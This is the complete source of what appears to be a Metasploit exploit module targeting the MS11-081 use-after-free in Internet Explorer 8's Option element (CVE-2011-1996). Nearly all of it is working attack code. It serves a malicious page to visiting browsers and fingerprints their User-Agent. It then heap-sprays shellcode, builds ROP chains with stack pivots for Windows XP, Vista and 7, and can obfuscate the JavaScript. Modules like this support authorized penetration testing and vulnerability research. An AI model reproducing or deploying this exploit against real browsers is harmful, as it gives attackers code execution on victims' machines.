MS11-081 Microsoft Internet Explorer Option Element Use-After-Free

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb


  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS11-081 Microsoft Internet Explorer Option Element Use-After-Free",
      'Description'    => %q{
          This module exploits a vulnerability in Microsoft Internet Explorer.  A memory
        corruption may occur when the Option cache isn't updated properly, which allows
        other JavaScript methods to access a deleted Option element, and results in code
        execution under the context of the user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Ivan Fratric',  #Initial discovery
          'juan vazquez',  #Metasploit
          'sinn3r'         #Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2011-1996' ],
          [ 'OSVDB', '76208' ],
          [ 'MSB', 'MS11-081' ],
          [ 'URL', 'http://ifsec.blogspot.com/2011/10/internet-explorer-option-element-remote.html' ],
          [ 'URL', 'http://pastebin.com/YLH725Aj' ]
        ],
      'Payload'        =>
        {
          'StackAdjustment' => -3500,
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ],
          [ 'IE 8 on Windows Vista',  { 'Rop' => :jre,    'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ],
          [ 'IE 8 on Windows 7',      { 'Rop' => :jre,    'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-10-11',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ])

  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

    ie_name = "IE #{ie}"

    case nt
    when '5.1'
      os_name = 'Windows XP SP3'
    when '6.0'
      os_name = 'Windows Vista'
    when '6.1'
      os_name = 'Windows 7'
    end

    targets.each do |t|
      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
        print_status("Target selected as: #{t.name}")
        return t
      end
    end

    return nil
  end

  def ie_heap_spray(my_target, p)
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
    js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

    randnop = rand_text_alpha(rand(100) + 1)

    js = %Q|
    function heap_spray() {
      var heap_obj = new heapLib.ie(0x20000);
      var code = unescape("#{js_code}");
      var #{randnop} = "#{js_nops}";
      var nops = unescape(#{randnop});
      while (nops.length < 0x80000) nops += nops;
      var offset = nops.substring(0, #{my_target['Offset']});
      var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
      while (shellcode.length < 0x40000) shellcode += shellcode;
      var block = shellcode.substring(0, (0x80000-6)/2);
      heap_obj.gc();
      for (var i=1; i < 0x300; i++) {
        heap_obj.alloc(block);
      }
    }
    |

    js = heaplib(js, {:noobfu => true})

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate(memory_sensitive: true)
      @heap_spray_func = js.sym("heap_spray")
    end

    return js
  end

  def get_payload(t, cli)
    code = payload.encoded

    # No rop. Just return the payload.
    return code if t['Rop'].nil?

    # Both ROP chains generated by mona.py - See corelan.be
    case t['Rop']
    when :msvcrt
      print_status("Using msvcrt ROP")
      rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
      rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length)
      rop_payload << "\xeb\x04" # jmp $+6
      rop_payload << [0x77c15ed5].pack("V") # 0x0c0c0c0 # stackpivot => xchg eax, esp # ret
      rop_payload << code
    else
      print_status("Using JRE ROP")
      rop_payload = generate_rop_payload('java', '')
      rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length)
      rop_payload << "\xeb\x08" # jmp $+10
      rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret
      rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret
      rop_payload << code
    end

    return rop_payload
  end

  def load_exploit_html(my_target, cli)
    @heap_spray_func = "heap_spray"
    p  = get_payload(my_target, cli)
    js = ie_heap_spray(my_target, p)


    #var fakeobj = unescape("%u0c0c%u0c0c");
    #call to 0c0c0c0c
    #eax ==> 0c0c0a14
    html = %Q|
    <!DOCTYPE html>
    <html>
    <head>
    <script>
    #{js}

    function ivan()
    {

      var fakeobj = unescape("%u0a14%u0c0c");
      fakeobj += unescape("%u4141%u4141");
      while (fakeobj.length <= 0x38/2) fakeobj += unescape("%u4141%u4141");

      var formobj, selobj, optobj;
      selobj = document.getElementById("select1");
      formobj = selobj.form;

      var imgarray = new Array();
      for(var j = 0; j < 500; j++) {
        imgarray.push(document.createElement("img"));
      }

      for(var i=0;i<5;i++) {
        optobj = document.createElement('option');
        optobj.text = "test";
        selobj.add(optobj);
      }

      selobj.innerText = "foo";

      for(var i = 0; i < imgarray.length; i++) {
        imgarray[i].title = fakeobj.substring(0, 0x38 / 2 - 1);
      }

      #{@heap_spray_func}();

      formobj.reset();
    }

    </script>
    </head>

    <body onload='ivan()'>
    <form method="post">
    <select id="select1">
    </select>
    </form>
    </body>
    </html>
    |

    return html
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    uri   = request.uri
    print_status("Requesting: #{uri}")

    my_target = get_target(agent)
    # Avoid the attack if no suitable target found
    if my_target.nil?
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    html = load_exploit_html(my_target, cli)
    html = html.gsub(/^ {4}/, '')
    print_status("Sending HTML...")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end
end